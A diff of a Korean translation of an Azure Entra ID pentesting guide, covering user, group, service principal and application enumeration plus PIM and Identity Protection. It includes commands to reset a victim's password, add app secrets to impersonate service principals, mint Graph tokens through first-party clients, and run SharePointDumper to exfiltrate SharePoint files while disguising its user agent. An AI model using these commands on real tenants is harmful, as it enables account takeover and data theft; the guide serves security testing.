-
-하지만 **other client-ids**를 가진 애플리케이션들 중 **will allow you to connect to Azure** 하는 것들이 있습니다:
+하지만 **다른 client-ids**를 가진 애플리케이션들이 **Azure에 연결할 수 있게 해줍니다**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -229,7 +227,7 @@ az account tenant list
### 사용자
-Entra ID 사용자에 대한 자세한 내용은 다음을 참조하세요:
+Entra ID 사용자에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../az-basic-information/
@@ -366,15 +364,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
-### MFA 및 Conditional Access Policies
+### MFA & Conditional Access Policies
-모든 사용자에게 MFA를 추가하는 것이 강력히 권장됩니다. 하지만 일부 회사는 이를 설정하지 않거나 Conditional Access로 설정할 수 있습니다: 사용자가 특정 위치, 브라우저 또는 **어떤 조건**에서 로그인하면 **MFA가 요구됩니다**. 이러한 정책은 올바르게 구성되지 않으면 **우회**될 수 있습니다. 확인:
+모든 사용자에게 MFA를 추가하는 것을 강력히 권장합니다. 하지만 일부 조직은 이를 설정하지 않거나 Conditional Access로 구성하여, 사용자가 특정 위치나 브라우저에서 로그인하거나 특정 조건을 만족할 때 **required MFA if**가 적용되도록 할 수 있습니다. 이러한 정책은 올바르게 구성되지 않으면 **bypasses**에 취약할 수 있습니다. 확인해 보세요:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
-### 그룹
+### Groups
Entra ID 그룹에 대한 자세한 정보는 다음을 확인하세요:
@@ -485,12 +483,12 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl *
#### 그룹에 사용자 추가
-그룹의 소유자는 새 사용자를 그룹에 추가할 수 있습니다
+그룹 소유자는 그룹에 새 사용자를 추가할 수 있습니다.
```bash
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
-> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 충족하면 그룹에 추가된다는 의미입니다**. 물론 그 조건들이 **사용자가 제어할 수 있는 속성**에 기반한다면, 사용자는 이 기능을 악용해 **다른 그룹에 들어갈 수 있습니다**.\
+> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 충족하면 그룹에 추가된다**는 뜻입니다. 물론, 조건이 **사용자가 제어할 수 있는 속성**에 기반한다면, 사용자는 이 기능을 악용해 **다른 그룹에 들어갈 수 있습니다**.\
> 동적 그룹을 악용하는 방법은 다음 페이지를 확인하세요:
{{#ref}}
@@ -499,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
### Service Principals
-For more information about Entra ID service principals check:
+Entra ID service principals에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../az-basic-information/
@@ -600,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
-> Service Principal의 Owner는 해당 비밀번호를 변경할 수 있습니다.
+> Service Principal의 소유자(Owner)는 비밀번호를 변경할 수 있습니다.
-각 Enterprise App에서 client secret을 나열하고 추가를 시도하세요
+각 Enterprise App에서 client secret을 나열하고 추가해 보세요
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -711,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications."
### 애플리케이션
-애플리케이션에 대한 자세한 내용은 다음을 확인하세요:
+애플리케이션에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../az-basic-information/
{{#endref}}
-앱이 생성될 때 2가지 유형의 권한이 부여됩니다:
+App가 생성될 때 두 가지 유형의 권한이 부여됩니다:
-- **권한**이 **Service Principal**에 부여됩니다
-- **권한**을 **앱**이 **사용자를 대신하여** 가질 수 있고 사용할 수 있습니다.
+- **Permissions**가 **Service Principal**에게 부여됩니다.
+- **app**가 사용자 대신 사용할 수 있는 **Permissions**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -773,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
+
+비-Microsoft API에 대한 API 권한을 가진 모든 애플리케이션 찾기 (az cli)
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Known Microsoft first-party owner organization IDs.
+MICROSOFT_OWNER_ORG_IDS=(
+"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
+"72f988bf-86f1-41af-91ab-2d7cd011db47"
+)
+
+is_microsoft_owner() {
+local owner="$1"
+local id
+for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
+if [ "$owner" = "$id" ]; then
+return 0
+fi
+done
+return 1
+}
+
+command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
+command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
+az account show >/dev/null
+
+apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
+
+tmp_map="$(mktemp)"
+tmp_ids="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+
+# Build unique resourceAppId values used by applications.
+jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
+
+# Resolve resourceAppId -> owner organization + API display name.
+while IFS= read -r rid; do
+[ -n "$rid" ] || continue
+sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
+owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
+name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
+printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
+done < "$tmp_ids"
+
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+
+# Print only app permissions where the target API is NOT Microsoft-owned.
+while IFS= read -r row; do
+app_name="$(jq -r '.[0]' <<<"$row")"
+app_id="$(jq -r '.[1]' <<<"$row")"
+
+while IFS= read -r rra; do
+resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
+map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
+owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
+resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
+
+[ -n "$owner_org" ] || owner_org="UNKNOWN"
+[ -n "$resource_name" ] || resource_name="UNKNOWN"
+
+if is_microsoft_owner "$owner_org"; then
+continue
+fi
+
+while IFS= read -r access; do
+perm_type="$(jq -r '.type' <<<"$access")"
+perm_id="$(jq -r '.id' <<<"$access")"
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+done < <(jq -c '.resourceAccess[]' <<<"$rra")
+done < <(jq -c '.[2][]' <<<"$row")
+done < <(jq -c '.[]' <<<"$apps_json")
+```
+
+
{{#endtab }}
{{#tab name="Az" }}
@@ -822,21 +895,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
-> 권한 **`AppRoleAssignment.ReadWrite`**를 가진 앱은 역할을 자체적으로 부여하여 **Global Admin**으로 권한 상승할 수 있습니다.\
-> 자세한 내용은 [**여기**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)를 참조하세요.
+> 권한 **`AppRoleAssignment.ReadWrite`** 를 가진 앱은 스스로 역할을 부여하여 **Global Admin**으로 권한 상승할 수 있습니다.\
+> 자세한 내용은 [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)을 확인하세요.
> [!NOTE]
-> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하기 위해 사용하는 비밀 문자열이 바로 application password입니다.\
-> 따라서 이 **password**를 찾으면 해당 **tenant** **내부에서** **service principal**로 접근할 수 있습니다.\
-> 이 password는 생성될 때만 표시된다는 점을 유의하세요(변경은 가능하지만 다시 확인할 수 없습니다).\
-> 해당 **application**의 **owner**는 여기에 **add a password**를 할 수 있습니다(즉, 이를 가장할 수 있습니다).\
-> 이러한 service principal로의 로그인은 **not marked as risky**로 표시되지 않으며 **won't have MFA.**
+> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하기 위해 사용하는 비밀 문자열은 application password입니다.\
+> 따라서 이 **password**를 찾으면 해당 **tenant** **내부**에서 **service principal**로 접근할 수 있습니다.\
+> 이 password는 생성될 때에만 볼 수 있다는 점(변경은 가능하지만 다시 가져올 수 없음)을 참고하세요.\
+> **application**의 **owner**는 해당 애플리케이션에 **password**를 추가할 수 있습니다(이를 통해 애플리케이션을 가장할 수 있습니다).\
+> 이러한 service principal로의 로그인은 **위험(risky)**으로 표시되지 않으며 **MFA**가 적용되지 않습니다.
-Microsoft에 속한 일반적으로 사용되는 App ID 목록은 다음에서 확인할 수 있습니다: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
+Microsoft에 속한 일반적으로 사용되는 App IDs 목록은 다음에서 확인할 수 있습니다: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
-Managed Identities에 관한 더 자세한 정보는 다음을 확인하세요:
+For more information about Managed Identities check:
{{#ref}}
../az-basic-information/
@@ -939,7 +1012,7 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
-### Entra ID 역할
+### Entra ID Roles
Azure 역할에 대한 자세한 정보는 다음을 확인하세요:
@@ -1062,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
-> 장치(VM)가 **AzureAD joined** 되어 있으면, AzureAD의 사용자는 **로그인할 수 있습니다**.\
-> 또한, 로그인한 사용자가 해당 장치의 **Owner** 라면, 그는 **local admin** 권한을 갖게 됩니다.
+> 디바이스 (VM)가 **AzureAD joined** 상태라면, AzureAD의 사용자는 **로그인할 수 있습니다**.\
+> 또한, 로그인한 사용자가 해당 디바이스의 **Owner**라면, 그는 **local admin** 권한을 갖게 됩니다.
### 관리 단위
@@ -1102,13 +1175,13 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
-## Microsoft Graph 위임된 SharePoint 데이터 유출 (SharePointDumper)
+## Microsoft Graph 위임형 SharePoint 데이터 유출 (SharePointDumper)
-Sites.Read.All 또는 Sites.ReadWrite.All을 포함하는 **위임된 Microsoft Graph 토큰**을 가진 공격자는 Graph를 통해 **sites/drives/items**를 열거한 다음 **SharePoint pre-authentication download URLs**(액세스 토큰을 포함하는 시간 제한 URL)을 통해 파일 내용을 가져올 수 있습니다. [SharePointDumper](https://github.com/zh54321/SharePointDumper) 스크립트는 전체 흐름(열거 → pre-auth 다운로드)을 자동화하고, 탐지 테스트용으로 요청별 텔레메트리를 출력합니다.
+공격자는 **`Sites.Read.All`** 또는 **`Sites.ReadWrite.All`** 권한이 포함된 **위임된 Microsoft Graph 토큰**을 가지고 있으면 Graph를 통해 **sites/drives/items**를 열거한 다음, 액세스 토큰이 포함된 시간 제한 URL인 **SharePoint pre-authentication download URLs**를 통해 파일 내용을 가져올 수 있습니다. [SharePointDumper](https://github.com/zh54321/SharePointDumper) 스크립트는 전체 흐름(열거 → pre-auth downloads)을 자동화하고 탐지 테스트를 위해 요청별 텔레메트리를 출력합니다.
-### 사용 가능한 위임된 토큰 획득
+### 사용 가능한 위임 토큰 획득
-- SharePointDumper 자체는 **인증을 수행하지 않습니다**; access token(선택적으로 refresh token)을 제공하세요.
+- SharePointDumper 자체는 **인증을 수행하지 않습니다**; 액세스 토큰(선택적으로 refresh token)을 제공해야 합니다.
- 사전 동의된 **first-party clients**는 앱 등록 없이 Graph 토큰을 발급(mint)하는 데 악용될 수 있습니다. 예시 `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) 호출:
```powershell
# CAE requested by default; yields long-lived (~24h) access token
@@ -1122,23 +1195,23 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
-> FOCI TRUE 클라이언트는 디바이스 간에 refresh를 지원합니다; FOCI FALSE 클라이언트는 종종 reply URL origin validation을 만족시키기 위해 `-Origin`이 필요합니다.
+> FOCI TRUE clients는 디바이스 간 refresh를 지원합니다; FOCI FALSE clients는 종종 reply URL origin validation을 만족시키기 위해 `-Origin`이 필요합니다.
-### SharePointDumper 실행 (enumeration + exfiltration)
+### enumeration + exfiltration을 위한 SharePointDumper 실행
-- 기본 dump with custom UA / proxy / throttling:
+- 기본 dump (custom UA / proxy / throttling 사용):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
-- 범위 제어: 사이트 또는 확장 포함/제외 및 전역 제한:
+- 범위 제어: 사이트 또는 확장 포함/제외 및 전역 한도:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
-- **재개** 중단된 실행을 재개합니다 (다시 열거하지만 다운로드된 항목은 건너뜁니다):
+- **재개** 중단된 실행(다시 열거하지만 다운로드된 항목은 건너뜁니다):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
-- **HTTP 401에서 token 자동 갱신** (EntraTokenAid가 로드되어 있어야 함):
+- **자동 token 갱신 (HTTP 401 시)** (EntraTokenAid가 로드되어 있어야 함):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
@@ -1165,29 +1238,29 @@ Operational notes:
### Privileged Identity Management (PIM)
-Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
+Azure의 Privileged Identity Management(PIM)는 사용자에게 불필요하게 과도한 권한이 할당되는 것을 **방지**하는 데 도움을 줍니다.
-One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
-Note that the user will also be able to ask to **extend** the time.
+PIM이 제공하는 주요 기능 중 하나는 역할을 항상 활성화된 상태로 할당하지 않고, 대신 특정 기간 동안 **eligible(예: 6개월)** 상태로 만드는 것입니다. 사용자가 그 역할을 활성화하려면 필요 기간(예: 3시간)을 명시하여 요청해야 하며, 그 요청은 **관리자 승인이 필요**합니다.\
+사용자는 요청한 시간을 **연장**할 수도 있습니다.
-Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
+또한, **PIM은 권한 있는 역할이 누구에게 할당될 때마다 이메일을 전송**합니다.
-When PIM is enabled it's possible to configure each role with certain requirements like:
+PIM이 활성화되면 각 역할에 대해 다음과 같은 요구사항을 구성할 수 있습니다:
-- Maximum duration (hours) of activation
-- Require MFA on activation
-- Require Conditional Access acuthenticaiton context
-- Require justification on activation
-- Require ticket information on activation
-- Require approval to activate
-- Max time to expire the elegible assignments
-- A lot more configuration on when and who to send notifications when certain actions happen with that role
+- 활성화 최대 지속 시간(시간)
+- 활성화 시 MFA 요구
+- Conditional Access 인증 컨텍스트 요구
+- 활성화 시 정당성 요구
+- 활성화 시 티켓 정보 요구
+- 활성화 승인 요구
+- eligible 할당의 만료 최대 시간
+- 해당 역할과 관련된 특정 동작이 발생할 때 누가 언제 알림을 받을지에 대한 다양한 추가 구성
### Conditional Access Policies
-확인:
+Check:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1195,23 +1268,23 @@ When PIM is enabled it's possible to configure each role with certain requiremen
### Entra Identity Protection
-Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
+Entra Identity Protection은 사용자의 로그인 시도가 수용하기에 **너무 위험한지 감지**하고, 위험한 경우 해당 사용자나 로그인 시도를 **차단**할 수 있도록 하는 보안 서비스입니다.
-It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
+관리자는 위험 수준이 "Low and above", "Medium and above" 또는 "High"일 때 시도를 **차단**하도록 구성할 수 있습니다. 다만 기본적으로는 완전히 **비활성화**되어 있습니다:
> [!TIP]
-> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
+> 요즘에는 가능한 경우 동일한 옵션을 구성할 수 있는 Conditional Access 정책을 통해 이러한 제한을 추가하는 것이 권장됩니다.
### Entra Password Protection
-Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
-It also allows to **ban a custom password list** that you need to provide.
+Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 은 여러 번의 로그인 실패가 발생할 때 계정을 잠금으로써 **약한 비밀번호의 남용을 방지**하는 보안 기능입니다.\
+또한 관리자가 제공하는 **커스텀 비밀번호 목록을 차단**하도록 설정할 수 있습니다.
-It can be **applied both** at the cloud level and on-premises Active Directory.
+이 기능은 클라우드 수준과 온프레미스 Active Directory 모두에 **적용**할 수 있습니다.
-The default mode is **Audit**:
+기본 모드는 **Audit**입니다: